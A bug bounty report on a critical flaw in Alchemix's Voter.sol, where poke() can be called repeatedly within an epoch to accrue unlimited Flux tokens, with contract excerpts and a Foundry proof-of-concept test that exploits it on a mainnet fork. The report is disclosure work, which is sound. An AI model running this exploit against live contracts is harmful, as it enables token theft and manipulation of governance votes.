31388 - [SC - Critical] Vulnerability in the poke function of Voting co...

Submitted on May 17th 2024 at 22:57:04 UTC by @b0g0 for Boost | Alchemix

Report ID: #31388

Report type: Smart Contract

Report severity: Critical

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol

Impacts:

  • Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

  • User can indefinitely accrue and mint FluxTokens

Description

Brief/Intro

The poke() function of Voter.sol introduces a vulnerability, allowing a token holder to increase his Flux balance as much as he likes. Unrestricted supply of Flux gives unfair advantage to voter and allows him to influence the votes and escape penalty when withdrawing

Vulnerability Details

Voter.sol has 3 main function to manage votes:

  • vote() - used to vote for pools (called ONCE per epoch)

  • poke()- updates the voting status of an existing vote (can be called MANY time per epoch)

  • reset()- resets the vote ( called ONCE per epoch)

Both vote() and poke() call the internal _vote() function, which resets the previous vote, creates a new vote based on the current voting power and accrues new Flux based on it:

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L412

 function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
         // 1. Reset previous vote
        _reset(_tokenId);

        ....

        // 2. Accrue flux
        IFluxToken(FLUX).accrueFlux(_tokenId);

         // 3. calculate weights and create vote
        uint256 totalPower = (IVotingEscrow(veALCX).balanceOfToken(_tokenId) + _boost);
         ....
    }

The important part to focus on here is that Flux is accrued every time _vote() is invoked. The amount accrued is based on the token voting power. FluxToken::accrueFlux() looks like this:

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/FluxToken.sol#L188

function accrueFlux(uint256 _tokenId) external {
        require(msg.sender == voter, "not voter");
        uint256 amount = IVotingEscrow(veALCX).claimableFlux(_tokenId);
        unclaimedFlux[_tokenId] += amount;
    }

The other important thing to note about FLUX is that it should accrue once EACH EPOCH

The docs explicitly state that :

The FLUX token is a special reward token that accrues to veALCX positions each epoch...

Link -> https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/CONTRACTS.md#fluxtokensol

And this is where the bug lies - Voter::poke() can be called an unlimited amount of times each epoch. As a result _vote() will also be called, meaning Flux balances will get accrued on every call, practically enabling the token owner to source as much Flux as he wants.

Impact Details

Having an unlimited supply of Flux gives the NFT owner the power to:

  • boost all his votes, all the time, influencing the outcome of the votes for the pools - the bigger the value locked in an NFT, the more Flux it can steal and the greater influence it can have on the votes

  • unlock his position at any time - effectively evading penalty and withdrawing much sooner than intended. This defeats the whole purpose of escrowing and causes harm to the protocol

References

The poke() function:

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L195

Proof of Concept

I've added a POC inside the currently existing Voting.t.sol test file: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/test/Voting.t.sol

You can run the POC like this: forge test --mt testPokeExploit --fork-url https://eth.llamarpc.com --fork-block-number 17133822 -vvvv

function testPokeExploit() public {
        // Lock ALCX token for max period to get max voting power
        uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, true);

        // No unclaimed flux token
        uint256 unclaimedBalance = flux.getUnclaimedFlux(tokenId);
        assertEq(unclaimedBalance, 0);

        // Impersonate token owner and call poke()
        hevm.startPrank(admin);
        voter.poke(tokenId);

        // Flux has been accrued
        unclaimedBalance = flux.getUnclaimedFlux(tokenId);
        assertEq(unclaimedBalance, 997259164121562177);

        // call poke()and  accrue unclaimed Flux again
        voter.poke(tokenId);

        // Flux has increased x2
        uint256 unclaimedBalance_x2 = flux.getUnclaimedFlux(tokenId);
        assertEq(unclaimedBalance_x2, unclaimedBalance * 2);

        // Flux has increased x3
        voter.poke(tokenId);
        uint256 unclaimedBalance_x3 = flux.getUnclaimedFlux(tokenId);
        assertEq(unclaimedBalance_x3, unclaimedBalance * 3);

        // Flux has increased x4
        voter.poke(tokenId);
        uint256 unclaimedBalance_x4 = flux.getUnclaimedFlux(tokenId);
        assertEq(unclaimedBalance_x4, unclaimedBalance * 4);
    }

Last updated